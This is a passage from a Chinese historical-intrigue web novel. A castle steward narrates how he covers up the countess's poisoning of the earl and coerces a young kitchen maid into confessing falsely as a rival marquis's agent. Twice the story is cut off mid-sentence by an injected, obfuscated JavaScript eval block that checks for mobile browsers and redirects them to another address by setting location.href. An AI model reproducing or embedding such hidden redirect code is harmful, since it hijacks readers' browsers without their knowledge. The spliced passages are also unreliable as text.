像伯爵阁下这种没有此方面爱好的人自然会被排除到这个圈子之外,我就更无法接触到相关人士、继而查出毒药的来源…… 我不抱希望地将医生列出的毒草名单交给手下,让他们去山下镇子的药剂师那里询问近期有哪些人购买这些毒草。 另一方面,我来到已经封锁的厨房,开始亲自对厨房内的每一个人进行问询。 这可真是一点都不让人感到陌生。 就在大约十天前,我还因为一个厨娘的死来到这里,向厨房的每一个人询问她的近况……没想到那件事还没过去半个月,又是厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15186658|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房这里出了差错。 一个厨娘自杀这种小事原本不会惊动我亲自过来,只是在城堡里做了几十年糖雕的老约翰在去年病死了,那个名叫“黛拉”的厨娘曾给他做了很多年的帮手,也是目前厨房内唯一能做出像样糖雕的人。 糖雕可不好学。这不但是技术上的问题,更多是因为糖实在太珍贵。 连伯爵阁下亲封的骑士们一年都吃不上多少次的糖,更不要说这项如此浪费金币的手艺。 也只有像伯爵阁下这种家资充足的家族才能在宴会中摆出几尊糖雕,并专门培养会糖雕的厨子,以至于我一时半会真找不到可以替补的人。 眼看着庆典就要开始,城堡里却没了能做糖雕的人,我急得嘴里起了两个口疮。 情急之下,我只能向伯爵夫人求助。趁着伯爵夫人的娘家人来参加庆典,顺便带来两名会糖雕的厨子过来应急,这才勉强在今天应付上…… 我抬眼看去,一眼就从众多脑袋中捕捉到两张较为陌生的脸。 他们与厨房内的其他人一样,虽然不知道发生了什么,可守在厨房周围的守卫和不允许他们离开的禁令显然让他们十分紧张。此时见我出现,立刻跟随众人一起抬头看过来。 接收到那二人与众不同的、慌乱中带着乞求的视线,我的脑中像是响起一道惊雷,一个相当大胆且恐怖的想法从心底冒了出来。 我无视了上前询问的主厨,首先让人把那两个糖雕师带到楼上的餐布库。 此时所有与厨房相关的人都聚集在大厨房里,位于二楼的餐布库没有人,正是单独审问的好地方。 我吩咐好手下看守好房门和下面的人,走进房间后刚刚关好门,一道身影便急不可耐地冲到我面前。 “莫迪凯先生!您一定要帮帮我们——” 其中一人的精神已经几近崩溃,上来就想抓住我的手臂,好在被另一个人及时制住并捂住嘴,连拖带拉地将他向后拉了几步。 “你给我冷静点!” 那人先是对同伴低声斥责一句,这才抬眼看向我。 虽然他确实比另一个要冷静,但眼中的不安和微颤的双手都让我心底的猜想变得更加清晰,连带着我的心脏都跟着剧烈跳动起来。 “看在伯爵夫人的面子上,莫迪凯先生……请您告诉我们晚宴上发生了什么吧?”那人观察着我的表情,带着试探开口道,“是……我们做的东西出问题了吗?” 出问题? 是出大问题了啊! 我感觉一股热气冲上头顶,转瞬又似是有冰水浇下,只觉得一阵头昏眼花,眼前冒出一串金星。 “你们……真的是你们!” 我勉强压制住想要尖叫的冲动,一把拽起距离我最近的那个人,低声怒吼:“你们怎么敢——” “不是我们……是布朗什夫人!是布朗什夫人让我们这么做的!” 被我抓住的糖雕师崩溃道:“如果不是伯爵夫人授意,我们怎么敢啊——” 11.3-3 008 “我爱你,我爱你……” “你知道吗,亲爱的,我每天都在圣母面前祈祷,祈祷那个老东西早点去死……这样我们就能永远在一起了……” 我从来没把那些耳鬓厮磨时听到的爱语当真,此时那些话却像带毒的刺藤,一点点缠绕挤压住我的心肺,恐慌如巨石压在我的头顶,几乎让我站立不稳。 可我不能就这样倒下……我还要给眼前这两个废物善后…… 他们不但是伯爵夫人带来的人,更重要的,他们是在我的安排下进入城堡、进入厨房工作。 就算他们并不知道我与伯爵夫人那层隐秘的关系,只要把他们作为元凶送到伯爵阁下面前,我这十几年的努力就都白费了! 那个吝啬又刻薄的臭老头绝不会容忍一个犯了如此大过错的总管。 我会被逐出城堡,糟糕的名声会让我再也无法被任何一个家族接受,失去现在拥有的一切……最后像个乞丐般,每天靠着摇尾乞怜换得几枚硬币,躺在连遮棚都没有的泥地里慢慢腐烂…… 我绝不要回到那样的生活,我绝对不接受这样的结局。 心中的声音响起后,我反而冷静了下来。 如果下毒的人真是眼前这两人,事情反而好办了。 只要按住他们,那接下来的几天我也不用担心宴席里会再出“下毒”这样的意外。看他们这副样子,估计也不会有第二次下手的胆子。 至于那个该交出去的“刺客”……既然伯爵阁下如此肯定是威登堡侯爵动的手脚,那不如就按照他的心意,抓出一个“与威登堡有勾连的叛徒”送给他。 这种天生就身份尊贵的人都有同样的毛病——一旦是自己事先认定的事,即使事后能证明真实情况与自己最先的猜测不相符,也要千方百计地找补,好像非要将结果与自己的猜测扯上点关系才能圆上自己的面子。 伯爵阁下是,伯爵夫人也是,包括雅各布少爷和佩秋拉夫人,他们都不能容忍自己犯下的错误,或者说,不能容忍在我们这些“下等人”发现他们身上的“瑕疵”。 这份傲慢时常令我想要发笑,但我又时常会庆幸他们能如此自信而傲慢,因为这实在让我的工作轻松太多。 只要搞清楚他们那浅薄的想法,再顺着心意给出相应的结果,让他们认为自己就如自己想象中那般英明就好。 真相从来不重要,只有傻子才会为了追求真相得罪一个贵族。他们想要什么就给他们什么好了。 这样我得到了我想要的金钱和地位,他们也会因那空虚而傲慢的心被短暂填充而满足,对大家都好的买卖何乐不为呢? 注意已定,再看向眼前这两个瑟瑟发抖的糖雕师,我的心跳已经完全稳定下来。 “这次是你们走运,没真造成什么严重的后果,看在伯爵夫人的面子上我愿意帮你们一次……下次幸运女神可不一定还会站在你们这边。” 我靠近他们,压低声音威胁道:“伯爵阁下的脾气你们应该也都听说过。如果你们还想在七天后活着离开这座城堡,就管好你们的嘴和手,我不想这样的事再发生一次,就算是伯爵夫人的命令也不行!” 两人答应了,当即向吾主发誓自己这辈子都不会把这件事说出去。 发誓真是个好借口啊。既能显得自己虔诚,在被质疑时还能以此反过来质问对面人对吾主的虔诚之心,就算是国王也经不起这样的质疑呢。 所以誓言这种东西听听就算了,关键还是要看利益是否一致——现在,我相信他们就算是为了自己的命也会死死闭上嘴。 打发两人出去后,为了不引起其他人注意,我又让人把那些在厨房工作的人挨个提上来问话。 不过既然已经确认了投毒者,问话时我也忍不住分出一些精神思考接下来的行动——究竟如何把下毒事件推到威登堡侯爵身上。 威登堡家族与尼托家族积怨已久是众所周知的事,况且领地的事从来都是大事,为了一点地盘开战都不算什么,何况是谋杀。 他的动机太充分,所以我要捏造出的证据并不需要让威登堡侯爵哑口无言,只需要让旁观者觉得合理,再加上一个不会在最终关头反悔的替罪羔羊,任凭那位侯爵阁下如何叫屈、声明自己是清白的,也不会有人相信他。 计划已经有了方向,不过关键还是要落在如何挑选一个不会反抗的“替罪羊”上。 我按住有些发胀的太阳穴,送走最后一人后朝外面招招手,让他把杰恩叫过来。 除了找替罪羊外,我还需要跟伯爵夫人沟通一下……真不知道她是怎么想的!以为雅各布少爷有了继承人就可以高枕无忧了?那孩子才出生几天?就算是雅各布少爷也还没到二十岁!他与皇帝陛下的关系能跟伯爵阁下比吗?不说别人,光是隔壁虎视眈眈的威登堡侯爵就能让他睡不安稳…… 身边始终没有传来声音,我抬眼望去,就见那名守卫正在用一种复杂的眼神看着我。 “那个,莫迪凯先生……杰恩他,不是已经死了吗?” 啊,确实如此。 有点可惜啊,如果他还活着应该是个不错的人选。 那家伙没有家人和恋人,脑子里就只有钱,先用足够的金币哄他答应扮演这个角色,让他在法庭上说出口供后立刻灭口,还能把他的死推给是威登堡侯爵灭的口,一切会多么顺理成章啊…… 真可惜,他居然就那么死了…… 我愣了下,晃晃有些沉重的头,深刻感受到年龄给我带来的迟钝感有多么明显。 看来今天是不能工作下去了,我必须好好睡一觉,让头脑变得清醒些才能继续思考如何编好这个故事。 第二天,我起床后的第一件事就是到城堡各处巡视一圈,查看城堡内的仆人们是否已经来到自己的工作岗位,就像平时的每一天一样。 在巡视主楼上层时我分别路过了伯爵和伯爵夫人的卧室,现在两位主人都还没起床,两扇相邻的卧室门前都分别站着准备服侍的侍从。 看来今天也与往常一样,伯爵与夫人并没有同床而眠。 “日安,珍小姐。” 我朝站在伯爵夫人门前的侍女打了声招呼:“我注意到昨晚布朗什夫人都没吃什么东西,不知是否需要请医生?” “感谢您的关心,莫迪凯先生。”侍女向我行过礼,眼眸上抬与我对视一瞬便立刻分开,垂首道,“夫人昨晚确实没什么胃口,但也没说什么……我稍后会询问夫人。” “好。如果有需要,请及时告知我。” 确认侍女已经把我提出邀请的暗示带到,我没有继续停留,微微颔首示意后便继续向前走,毫不意外地对上一双充满恶意的目光。 □□的培林,□□男爵的次子,从十四岁开始就被送到伯爵阁下身边做事,现在已经成为伯爵阁下的贴身侍者。 即使是贵族家的孩子也不是都能有命享受与自己身份相匹配的生活。就像□□男爵,他有三个成年的儿子,分别是前后三个妻子所生。 培林的长兄优秀且健康,幼弟有继母撑腰,只有他仿佛是个多余的人。 在如此混乱家庭中长大的孩子,要么变得懦弱,要么野心勃勃,培林显然是后者。 这种大概是觉得即使父亲去世自己也分不到多少财产,他才会一直赖在伯爵的城堡里。 如果运气好能成为伯爵阁下的心腹,就算得不到一块封地也能攒出一份属于自己的家产,总比在那个家里看父亲、长兄和继母的脸色讨生活好。 我很能理解他,因为从见到他的第一面起我就知道,我们是同一种人。 他年纪还太轻,所有的贪心都写在眼睛里。前些年还会稍微遮掩一下,最近可能是觉得自己已经成为伯爵阁下的贴身侍从,在城堡中的地位已经能与我抗衡,开始给我找一些不大不小的麻烦…… 不过到底是起点太高,他的手段时常让我觉得幼稚得可笑。 我甚至都不需要专门费脑筋对付他,就那种给品尝员使绊子、导致对方无法按时出现的把戏再多来几次,不需要我出手,我们多疑而爱面子的伯爵阁下也会把他送回他父亲身边。 “日安,莫迪凯先生。” 在我即将无视他、走过房门时,那个年轻人还是忍不住朝我打了招呼。 那双咕噜乱转的眼睛里写满了不怀好意,平时我也许会有兴致跟他来上几句,但今天我可没这样的心情,点点头就打算离开。 “您今天为什么只问候了布朗什夫人,不问候伯爵阁下呢?” 他突然高声道:“伯爵阁下昨晚也一样没吃多少东西,您就这么不愿意关心一下吗?” ……这个蠢货,喊那么大声做什么? 伯爵阁下昨晚没吃多少东西当然是因为他知道菜里有人下毒了! 不过他的疑心病作祟,想要继续观察现场人的反应,所以连妻子和孩子都没说,只是找借口把儿子和儿媳支走,宴会照常进行——这点不光是我,伯爵阁下也清楚我知道,我少问候一句自然没什么。 可这个蠢货不但不知道,还得意扬扬地以为抓住了我什么把柄……真是个苍蝇般烦人的家伙! 不过在此时因为这种小事跟他吵嘴显然不明智。 于是我只是盯着他看了半晌,把问候伯爵夫人的话又问了一遍,等到他说出与侍女差不多相同的答复后便离开了。 幼稚的臭小鬼,真不知道他脑子里都装了些什么! 即使是没有“调查下毒者”这个临时任务,做城堡的总管也不轻松。 况且正值庆典期间,今明两天有马上长枪比赛,之后还有狩猎活动……一个接一个,都需要我去一一检查确认没有疏漏。 不过好处是这些室外活动都在后堡场或城堡外进行,倒是方便我与伯爵夫人在僻静的西塔楼见面。 按照我之前的经验,伯爵夫人一般会在中午前决定好时间,最晚在第九个时辰之前一定会向我传递具体的见面时间……可今天她却失约了。 忙完一天的工作,又装模作样审问过一批人后,我在第十个时辰匆匆赶往西塔楼,一直等到临近晚餐时间还是没等到人,最后只能离开。 今天晚宴的规模没有昨天大,但各式菜品还是经过品尝员的尝试后才被端进宴会厅。 尽管已经确认那两个糖雕师没有再下毒的必要,但看着桌旁的人们大口吃饭时我的心还是空悬着没有底。直到所有人都吃饱喝足,安全离开宴会厅,那颗心才缓缓落地。 期间我有心去观察坐在上首的伯爵夫人,想要知道她是否从侍女那里收到我的邀请消息……可昨天还在不停给我使眼色的夫人今天像是突然变了一个人,只相当冷淡地瞥了我一眼便转向他处。 那副做派,即使隔着这么长的距离,我都仿佛听到她从鼻腔内发出的冷哼。 这种时候居然还能耍小脾气?她到底在不满什么? 难道因为我破坏了她毒杀丈夫的计划让她不满了?可她到底知不知道这样做到底多危险! 她派去下毒的人完全没有任何经验,要是伯爵阁下真的当场毒发而死,一定会引来皇帝陛下的注意,一查就能查出来…… 到时候也许雅各布少爷能想法护住她的性命,我可就没有一点活路了! 就在我因为伯爵夫人的冷淡而焦心时,伯爵阁下却招招手让我跟他走到隔壁的房间。 “你发现了吗,莫迪凯?今天有不少人没参加晚宴。即使来参加了,有些人也不太敢去碰桌上的食物。”那双浓眉下的眼里闪着光,一字一顿道,“看来还是有人听到昨晚的风声了……你可要抓紧时间了。怎么样?现在有什么收获吗?” 收获……当然不能说出来。 好在今天来之前我已经准备好了说辞,先把所有审问过的结果汇报一遍,怎样都能把今天糊弄过去。 “那名守卫能仅仅吃了一口就快速毒发身亡,按照韦尔医生的经验,他怀疑这种可怕的毒药是经过炼金术提炼出来的。”我观察着伯爵若有所思的表情,继续道,“不知威登堡侯爵是否对这些感兴趣……” “没错……没错!一定就是他了!” 不等我说完,伯爵阁下双眼一亮,声音都随着激动提高不少:“我听父亲说过,教皇冕下的禁令发布前,他父亲专门召集过一群人研究那些邪术……虽然后来说是把人都遣散了,但我才不信他们什么都没留下!” 真是狗屎运! 我还没来得及给那位侯爵阁下编撰谋杀过程,居然还真有证据能对上! 这条线索显然让伯爵阁下比较满意,暂时放我离开继续调查。 第二天一早,我除了继续打着调查的旗号暗中挑选合适的“羊羔”,也再次向伯爵夫人发出见面的暗示。 这次总算有了回音。 今天后堡场正在举办马上长枪的决赛,但外面的太阳很大,给了伯爵夫人称病离开的理由。 我焦心等待到第七个时辰,终于见到了姗姗来迟的伯爵夫人。 就像伯爵阁下深信自己的前小舅子一定想杀了自己,伯爵夫人也觉得选中我做情人,我必然感到无比荣幸。 为了报答她的爱,我会用全身心回报、呵护她,愿意忍耐包容她所有脾气和缺点,会因为得到了她的垂青而对她不离不弃,甚至付出生命…… 我实在不知道为什么她会有这样的认知。 大概她觉得我们之间身份如此悬殊,所以选择我会令她安心,可以不必担心我会背叛她。 我越是出身卑微,她对我的爱就会被衬托得格外珍贵,连她自己都被这份深情感动了!所以作为接收方的我,必然会给予这份珍贵的“爱”足够的回应…… 这种令人发笑的逻辑,估计也只能在诗人们的口中成立吧。 谁会因为仅仅接受了别人的爱意就决定以同样的,甚至更多的爱意回报给对方呢? 这又不是什么以物易物的交易。而且即使是做交易,我也只会做对自己更有利的不公平交易,伤害自己回馈他人是实打实的傻瓜行径。 将女人拉进怀中,我平直的唇线在她抬头时习惯性扯起一个弧度,用一个吻轻松打断了她喋喋不休的抱怨。 这招一直很好用。
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“那、那该怎么办?你都知道了?”她的表情终于变了,焦急抓住我的衣襟,“不能让阿尔伯雷特知道……他要是知道不会放过我……他会杀了我!” “您明明知道,为什么还……”我忍不住把我内心最疑惑的问题抛出,“您做这些之前为什么不跟我商量一下?这种错漏百出的做法,就算成功了也会很容易找上您啊……” “我……我真的恨他!” 伯爵夫人突然掩面蹲下,大哭出声:“他实在……世上怎么会有他这样的人!我可是为他生了两个儿子一个女儿啊……你知道我生埃尔的时候多艰险,我差点就死了啊!他当时怎么承诺的?会满足我的所有要求……可现在我哥哥快要跪到地上向他乞求,请他借出一千名士兵而已,他不但不答应,还当着那么多下人的面把我的面子往地上踩……他根本没把我当成他的妻子!” ………… 就因为这个? 我看着蹲在地上的女人,第一次连安慰都不知道该如何说起。 我倒是知道伯爵阁下为何不愿意帮这个忙。 主要是伯爵夫人的兄长,戈尔波男爵上面的波曼国王与西边的罗兰王国关系十分亲密。可自从罗兰换了新王室后,马黎国王与其在一片领地归属权上发生了不少口角,最后谈判在两年前破灭,两边正式开战。 波曼国王不但本人与现在的罗兰王关系好,他的女儿更是嫁给了现在的罗兰王太子,就是未来的罗兰王后。 罗兰现在正是需要兵力打仗的时候,他自然要发动自己境内所有的领主一起前往前线支援。 可这跟伯爵阁下有什么关系呢? 尼托伯爵的领地本就不与罗兰接壤,又与罗兰王室没有亲戚关系,就算罗兰真凭借那一千名士兵打了胜仗也不过是为波曼国王创造荣耀,伯爵阁下才不会做这种亏本买卖。 不过现在解释这些都没用,伯爵夫人如果能明白这些道理也不会搞出这种事。 “现在说这些已经太迟了,布朗什夫人。我们必须为之后打算。” 我将人扶起来,用尽量温和的声音安抚道:“目前您与那两个糖雕师做的事也只有我知道,伯爵阁下又把调查的事交给我……无论结果如何,我都会站在您这边。” “圣母在上,莫迪凯……” “嘘……”我用手止住她贴上来的唇瓣,继续道,“一切交给我,我会解决好的……在此之前您就当作什么都没做过,也不要再做其他多余的事,好吗?” “哦,当然,当然……” 总算安抚好伯爵夫人,时间也不早了,我抓紧时间问了她到底从哪里得到那么恶毒的东西,她说是自己与曾经有过一面之缘的女巫手里得到的配方…… 我有些不知道该说什么了。 但不可否认的是,那女巫的配方确实很有效用,等这件事结束我也可以讨来记住,说不定什么时候能派上用场。 现在想这些还太早……我让她先离开,自己稍后再走。 打开门的时候我似乎看到地上有一道影子一闪而过,仔细看却又什么都没有。 我心头一跳,赶紧催促还穿着侍女服装的伯爵夫人离开,自己则检查起这一层的每一扇门。 我与伯爵夫人幽会的地方位于西塔楼最僻静的角落,这里曾经居住了数位得到前任尼托伯爵庇护的草叶派修士。 当草叶派被教廷正式打为“异端”后,这些修士要么被抓走,要么被迫放弃信仰,要么被好心的贵族收留,成为一个个不可见光、甚至不能说话的隐士。 前任尼托伯爵对这些隐士们很敬重,专门辟出这块区域供他们居住,可现在的伯爵阁下对庇护这些异端并不感兴趣。 那都是很久之前的事了,这些隐士们渐渐变老,逐渐死去,现在这里也只剩下一人…… 我检查了每一个房间,确定都是空的,这才敲响了那扇唯一该有人的房门。 “…………” “厄尔玛修士,您在里面吗?” ……………… 与过去一样,没有任何回音。 我又等了一会儿,听到门内传来一声不大不小的敲击声,这才说着“打扰”踏进这间房,一眼就看到了坐在床上的老人。 城堡里没有人知道厄尔玛修士的具体年纪,只知道整座城堡内应该没有比他年纪还大的人了。 据说他是所有隐士中意志最坚定的。有些隐士因为无法忍受这种被困在方寸之地的生活,很快就放弃了自己的信仰,选择向教廷交罚款或服劳役为自己“赎罪”。 只有厄尔玛修士,不但在这个小房间一住就是几十年,还始终坚持缄默苦修,几十年一句话都不说,实在是世间罕见的优秀苦行修士。 我会选择这里为幽会地点也是因为这个原因。 厄尔玛修士太老了,老到伯爵夫人都会对他生出怜悯,又为了维持苦修无法说话,就算他听到或察觉到什么动静,也无法向被人告发,除非他要打破自己坚持了几十年的苦修。 而且,即使他能说,又能说给谁听? 伯爵阁下从成为伯爵的那天起就没来过西塔楼,我也不会让他有告发的机会…… 我看着眼前的老人,他也看着我。 对上他似乎什么都知道的、如湖水般平静的目光,我顿时不想再想什么理由解释来意了,直接走进房间四处看了圈。 这间房实在太朴素,我只扫一眼就知道没有别人,最后与那个老人浑浊的双目再次对上视线。 说到底,修士与普通人都一样。 我要世俗的名利,他要苦修士的名誉,本质上没什么区别。 他不会跟任何人说起……即使是那个好心帮他,给他一口饭吃的小姑娘被杀了,他不也为了自己的修行不功亏一篑而继续保持缄默吗? “打扰您的修行了,厄尔玛修士。愿吾主保佑您。” 我对他笑了笑,转身走出这灰扑扑的房间。 12.3-4 009 今天是庆典的第四天。 按照惯例,狩猎活动如期举行。 目送伯爵阁下与诸位宾客骑马离开城堡,我开始了最关键的一步——筛选出最适合的“替罪羊”。 经过我的观察,那天所有负责端盘子的侍者们可以全部排除了。 能进入城堡主楼工作的侍者多多少少身后都有背景,至少也会是个骑士家的孩子。招惹他们只会迎来无尽的麻烦,而这么短的时间我也无法捏造出一个能足够让一整个贵族家族全部去死的冤案。 那人最好跟杰恩一样,身份不高,是个没有人在乎的单身汉,与城堡的关系不紧密,要是人缘再差点、还很缺钱就更好了。 一层层条件筛选下来,剩下的人选着实不多了,最合适的竟然只有两人。 第一个进入我脑中的人选是一个叫“昆特”的守卫。 我对他的印象非常深刻。 不但因为他健壮的外貌,也因为他是城堡中为数不多来自外面雇佣兵队伍的人。 按照伯爵阁下的说法,他过去所在的雇佣兵团曾受雇于罗兰国王,参加过罗兰镇压瓦蓝伯国境内的叛乱,后来也一直在罗兰北部活动。 直到罗兰与马黎真正打起来,罗兰国王既想要继续雇佣他们又想要欠着佣金。佣兵团的团长因为一点定金答应了,他却不想平白给别人的国王卖命。 于是在一天晚上,他趁夜悄悄脱离队伍,骑马向西奔逃,后来正巧与狩猎的伯爵阁下遇上,听说他的经历后将人收为城堡的守卫。 昆特是个外面来的人,一个叛逃者,即使他的本事远超一般的城堡守卫,在没有真正做出什么贡献前不管是我还是伯爵阁下都不想提拔他。 而他似乎也是个没有野心的人,也没什么朋友。平时按时上值按时下值,休息时偶尔会去山下的酒馆喝一杯。除了本人并非伯爵领中的人、来做守卫只是工作并非服役外,他与城堡中的其他守卫没有任何区别。 除了他是个外来人外,我挑中他最重要的一点是他那天确实有下毒的机会。 庆典第一天的城堡实在太过忙碌,在主楼侍从的要求下,一些原本负责巡逻的守卫不得不帮助厨房运送食材或把菜品端进主楼。 好巧不巧,昆特就是其中之一,实在是再好不过的人选。 尽管如此,他也有十分不合适的一面。 昆特是个健壮的男人,还是个不知杀了多少人的雇佣兵。我可没有把握靠武力制服他,想要说服他听话只能靠利诱。 可经过我对他的审问以及这几天的观察,发现他不但性格孤僻,还没有任何爱好。 即使我假意称要给他提高职位和薪水,他的表情也淡淡的,与其他立刻露出喜意的守卫们形成鲜明对比。 没有格外要好的朋友,没有亲人,没有女人,还没有喜好……没有欲望的人最难搞。 所以当思维卡在这一步后,我自然而然地将目光转向另一位候选人——一个名叫玛丽的帮厨。 她是前不久刚进入厨房做帮厨的小姑娘,是山下一位面包师的女儿。 她的父亲是个赌棍,早年就因为欠债被人打断了双腿,家里的面包店全靠她母亲一人支撑。而她之所以能在城堡缺少一名帮厨的时候被及时塞进来,也是因为她母亲与之前自杀的厨娘有些关系……现在黛拉不在了,她最近可没少在厨房里被排挤。 全面了解过她的家庭情况后,我的心瞬间松快了不少。 比起昆特,这个名叫“玛丽”的女孩实在太容易控制了。 她是家中的长女,只有两个妹妹没有弟弟,父亲残废,母亲虽然能干也不过是个女人。 如果她那赌鬼父亲死了,在没有男性继承人的情况下,那家店铺就会落到其父亲的其他男性亲戚头上,她和她的母亲会成为身无分文的乞丐。 或者都不需要这么复杂,一家小小的面包店而已,给它找麻烦都不需要动用非法的手段。 玛丽也不需要知道太多。 她只要能记住我告诉她的,在法庭上说出那名威登堡信使的特征,再承认自己被对方给予的钱财引诱,把一些不明药粉撒到食物里就足够了,剩下的“证据”我会为她准备好。 最重要的人选已经确定。 我一边继续像往常一样巡视整座城堡的情况,一边在心中计划如何完善这个计划。 伯爵阁下不在,城堡内的很多事物需要我来过目,尤其是文书方面的工作。 为了确保伯爵领各处的安定,及时掌握领地内的信息十分重要。所以即使是庆典期间,主楼档案馆中的书记员们也无法像其他人那样完全休息。 我曾经也做过法官身边的书记员,每天几乎没有能放下笔的时候……当时是很累,不过也多亏了这份经验补足了我在法律方面的不足,这才能在后来脱颖而出,引起伯爵阁下的重视。 批阅完今天从各地送来的档案,又确定里面没有什么特别需要伯爵阁下批复的信件,我便打算就这样离开。 不过走之前,我注意到一向冷清的档案馆今天却格外聒噪,似乎有不少人在里面忙活着什么。 “哦,之前马罗利修士总是在抱怨,说有些人拿了案卷后看完也不放回原位,时间长了想找什么都找不到。让我们有空就按照时间顺序再整理一遍,这次列个目录清单编上号,以后就不许乱放。”见我好奇,一旁的书记员如此解释道,“这不是最近没太多工作吗?我们就想着整理一下,估计再有三四天就能做完了。” 这确实是个不错的建议。 我顺便赞扬了一句马罗利修士并鼓励了下还在努力分类的书记员们,这才缓步走出档案馆。 不得不承认的是,在最重要一环的人选确定好后,我的心态着实放松了不少。 毕竟按照往年的经验,伯爵阁下在狩猎的这几天都会一大早就出门,天黑后才会回来,狩猎结束的最后一天才会再次大摆宴席。 在此之前,城堡里工作的人都能难得放松一下,我也能趁这个机会让那个小帮厨彻底断绝与我作对的想法。 计划原本在很顺利地进行,我已经派人准备给那家面包店稍稍找了些麻烦,还在等消息,却没想到外面的天气突然变了。 不知从哪儿飘来的乌云遮盖了天空,并从傍晚开始淅淅沥沥地下起小雨,又在半夜转为大雨,彻底断绝了伯爵阁下之后几天的狩猎计划。 被暴雨拦在城堡内的伯爵阁下显得有些暴躁。 不仅一大早就把我招到房间,询问起我的调查进度,在听说我只找到一点线索,但还要继续找实证时突然大发雷霆,将我狠狠骂了一顿。 吾主在上……这种一开始就没有明确目标的谋杀案,就算是再聪明的人也需要时间去调查啊,这点时间连捏造证据都不够! “你要抓紧时间了啊,莫迪凯先生。” 培林将我送出伯爵阁下的房间后,脸上的幸灾乐祸再也无法掩饰,连声音里都舔上了笑音:“伯爵阁下的耐心是有限的,别让他等太久。” ………… 我在这座城堡里工作了足足十七年,那时候这小子也才刚出生吧? 这十七年我从底层的书记员一步步走上来,我了解这座城堡里的一切,每一块砖,每一个人,拼尽全力才来到这个位置……他到底有多自负,才会觉得自己可以用短短三年就能站到与我相同的位置? 我紧紧盯着那只得意上扬的鼻子,忍住了想要讥讽、想要一拳揍上去的冲动,最后只转开视线,快步走下阶梯。 在这里逞一些口舌之快毫无意义。 我要尽快把所有事情安排好,尽快结束这场闹剧。 不过好在除了窗外这该死的天气,一切都在我的掌控中。 经过两天的筹谋,那个叫“玛丽”的小姑娘很快在我的威胁下妥协了。 我答应她,上过法庭后会用一具尸体代替她,之后还会给她一笔钱,安排她远嫁到伯爵领之外,一个谁都不会再见到她的地方。 否则就等着我安排的证人指证她,并从她家里找出被掩埋的物证。这样不但是她难逃一死,她的母亲和妹妹们都要因为平息伯爵阁下的怒火上绞刑架。 她被吓哭了,但在冷静下来后还是答应了。 她是个心软的姑娘,也是个蠢姑娘,和贝尔碧娜一样……当初她撞见我和伯爵夫人在一起,明明已经看穿了我们的奸情,却在我的请求中动摇,真相信了我的话,还老老实实走到楼下等我与她“谈条件”。 她也不用她的脑袋想想,凭她的身份怎么配跟我谈条件…… 一切都安排好了,我便打算先与伯爵夫人通个气。 自从上次在西塔楼见面后我们就再也没见过,为了之后的计划不出现纰漏,我想现在也是时候安抚一下她那脆弱的神经了。 然而等我照常想要去找伯爵夫人的侍女时,却被告知夫人已经身体不适好几天了。 正好遇到连续的阴雨天,她一直待在自己的卧室里闭门不出,连饭都是在卧室里吃的。 这个消息让我有一点担心,但算算时间,差不多就是我们上次见面后她开始“身体不适”……那说不定是为了不露出破绽说的假话,倒也是个不错的避嫌方式。 不过我很快就无法顾上伯爵夫人这边的事了。 今天是计划里狩猎日的最后一天,按照惯例,今晚的晚宴规模会仅次于第一天的晚宴。 与那一天一样,城堡中的人们再次活动起来。 一只只牲畜家禽被抬进厨房,一盘盘飘散着香气的菜肴被端出厨房,经过侍者们的手,排队来到宴会厅门口。 品尝员和用于试毒的老鼠都准备好了,相信这次的上菜速度不会比上次更糟糕,一切都按照程序井然有序地进行。 唯一不同的是今天依旧阴云密布,似乎随时都会再下一场暴雨。 为了能让伯爵阁下放心,这次我准备亲自盯着试菜的环节,却不想刚看到一半,伯爵阁下居然找人把我招进宴会厅。 此时还没有到上主菜的环节,餐桌上只有蜜饯和甜酒,但厅内的气氛依旧热闹。 一个扮相滑稽的小丑正在表演节目,似乎是在演一个倒霉旅人的独角戏,大概演得不错,反正在场所有人都在笑。 我无暇关心这种表演,瞥了一眼后便从哄笑的宾客身后走过,快步走到伯爵阁下的身边。 “我给你的时间够长了,莫迪凯。今天你总该给我一个答案了吧?” 我刚走到伯爵阁下身边,他便偏头看了我一眼,并随手端起右手边的酒杯:“说说吧,这几天你都查到了些什么?” “是,阁下……” 我微微弯下身子,视线不经意从伯爵压在桌边的左手上划过。 那只手下压着什么,似乎还是一张纸……上面大概写了字,但从我的角度并看不清什么…… 是信? 可最近城堡并没有收到什么外面来的重要信件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203860|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧? 一丝疑虑在脑中一闪而过,迟疑中我又接收到伯爵阁下充满警告的一瞥,我立刻低下头,小声向他汇报起自己的“调查结果”。 “您猜测得完全没错,阁下。那次投毒确实与威登堡侯爵派来的信使有关。” “经过我这几天的审问,厨房里已经有人招供,一名名叫‘玛丽’的帮厨曾经与那名信使秘密接触过,还有人看到她在六天前的那次晚宴前往那盘鹿肉里放了‘东西’。”我如此说道,“当时那人问过她到底放了什么,她借口那是之前忘记放的香料糊弄过去了……也是因为第一次下毒就被人发现,她很害怕,才只在一盘菜里下了毒……” 借着众人的笑声做遮掩,我将我在腹中排练许久的故事说了出来。 包括证人的名字,具体投毒者是谁,以及投毒者玛丽的口供。 除此之外,我还补充了一些类似“她一开始并不知道那是会要人命的毒药,以为只是一些会让人拉肚子的泻药”这样的细节,以便贴合那女孩有些胆小的性格。 随着我的讲述,伯爵阁下压在桌面上的左手开始颤抖。 